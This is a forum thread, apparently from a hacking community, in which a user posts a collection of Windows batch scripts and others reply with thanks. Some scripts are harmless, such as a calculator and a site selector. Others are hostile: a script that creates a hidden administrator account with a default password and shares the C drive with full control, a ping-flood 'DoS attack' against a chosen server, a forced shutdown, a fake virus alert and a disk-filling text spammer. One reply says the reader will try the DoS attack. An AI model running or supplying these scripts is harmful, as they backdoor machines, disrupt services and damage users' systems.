Login Register


My batch file collection! filter_list
Author
Message
My batch file collection! #1
A list of batch's I have on my computer Smile Some of these I've made into .exes for often use.

Admin account creator:
Code:
net user /add admin admin net localgroup administrators admin /add net share concfg*C\/grant:admin,full net user admin *

Fake virus:
Code:
@echo off color a title Virus detected - computer will delete all files. cd c:\ dir /s

Website IP finder:
Code:
@echo off title Web unblocker nslookup

Light show (WARNING: Do not run if you have an epileptic condition or anything like that):
Code:
@echo off :LOOP color a7 color c8 color d2 color 22 color 11 color 02 color 39 color 34 GOTO LOOP

Force computer shutdown (with message):
Code:
shutdown -s -f -c "Shutting down computer... LOL FAIL." -t 15

Simple DoS attack:
Code:
@echo off title Simple DoS echo. echo Please enter the server IP echo. set /p m=Host: echo. set /p n=Packet Size: echo. :DoS start echo Attacking server, exit to stop. ping %m% -l %n% -t >nul goto DoS start

Batch calculator:
Code:
@echo off title Batch Calculator color 3e :top echo Plus is + echo Subtract is - echo Multiply is * echo Divide is / echo. set /p sum= set /a ans=%sum% echo. echo = %ans% echo -------------------------------------------------------------- pause cls goto top pause exit

Folder password checker:
Code:
@echo off title Folder Password Checker :begin color 0a set /a tries=5 set password=hackcommunity :top echo. echo ---------------------------------------------- echo. echo Folder Password echo. echo ---------------------------------------------- echo You have %tries% attempts left. echo Enter password echo ---------------------------------------------- set /p pass= if %pass%==%password% ( goto correct ) set /a tries=%tries -1 if %tries%==0 ( goto penalty ) cls goto top :penalty echo Sorry, too many incorrect passwords, exiting... pause exit pause exit :correct cls echo ---------------------------------------------- echo Password Accepted! echo. echo Opening Folder... echo ---------------------------------------------- explorer C:\Documents and Settings pause goto :begin

The password for that is "hackcommunity". It will open the documents and settings folder; the only problem is that it's basically useless, and if you want to change the password and/or directory it will open upon entering the correct password you have to edit the code, which is a pain if you're converting this batch to an exe. I suppose it could be edited to be better though...

Website selector:
Code:
@echo off color 0a title Site Selector :top echo *************************************************************** echo. echo [1] Google - Most used and popular search engine echo [2] Myspace - Boring, unpopular social network echo [3] Hack Community - The best hacking website on the planet echo [4] Hotmail - Microsoft's mail server echo [5] Yahoo - Popular search engine and mail server echo [6] Facebook - Most used and popular social network echo [7] CNN - Popular news website echo [8] Weather - American weather website echo [9] Wikihow - Popular How-to website echo [10] Twitter - Stupid social network (IMO) echo [11] YouTube - Worlds most popular video sharing website echo [12] Answers - A website where you can ask questions and others will answer them echo [13] Wikipedia - Online encyclopedia echo. echo [e] Exit echo. echo *************************************************************** echo Enter the number of the website which you would like to go to: echo. set /p udefine= echo. echo *************************************************************** if %udefine%==1 start www.google.com if %udefine%==2 start www.myspace.com if %udefine%==3 start www.hackcommunity.com if %udefine%==4 start www.hotmail.com if %udefine%==5 start www.yahoo.com if %udefine%==8 start www.facebook.com if %udefine%==9 start www.cnn.com if %udefine%==10 start www.weather.com if %udefine%==11 start www.wikihow.com if %udefine%==12 start www.twitter.com if %udefine%==13 start www.youtube.com if %udefine%==14 start www.answers.com if %udefine%==15 start www.wikipedia.com if %udefine%==e goto exit cls echo *************************************************************** echo Type [E] to exit or [B] to go back and select another site. echo. set /p udefine= echo. echo *************************************************************** if %udefine%==b goto top if %udefine%==e goto exit :exit cls echo *************************************************************** pause exit

Text file spammer:
Code:
@echo off :LOL echo BLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANKBLANK >> blank.txt goto LOL

That's it for now, I have a lot more on my computer although they're malicious so I might be posting those in a separate thread.

I give credit to the guys over at www.instructables.com for some of these, even though I've modified a few. Please take a second to say thanks Smile

Catcha Smile


Reply

RE: My batch file collection! #2
Nice share. I liked the password checker.
Spoiler:
[Image: unledbyds.png]

Reply

RE: My batch file collection! #3
Nice share. I liked the password checker.
Spoiler:
[Image: unledbyds.png]

Reply

RE: My batch file collection! #4
Nice one mate.

I shall give these a test on my VM over this weekend.
Appreciated.
[Image: AD83g1A.png]

Reply

RE: My batch file collection! #5
Nice one mate.

I shall give these a test on my VM over this weekend.
Appreciated.
[Image: AD83g1A.png]

Reply

RE: My batch file collection! #6
Thanks!!!! Will be helpfull!
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply

RE: My batch file collection! #7
Awesome work man! Thanks a lot.

Reply

RE: My batch file collection! #8
Yup I like the dos attack lol will try some of them later in the noon

Reply

RE: My batch file collection! #9
nice collection. Smile thanks for sharing. Smile

Reply

RE: My batch file collection! #10
I hate batch lol it get detected by av easily sian

Reply







Users browsing this thread: 1 Guest(s)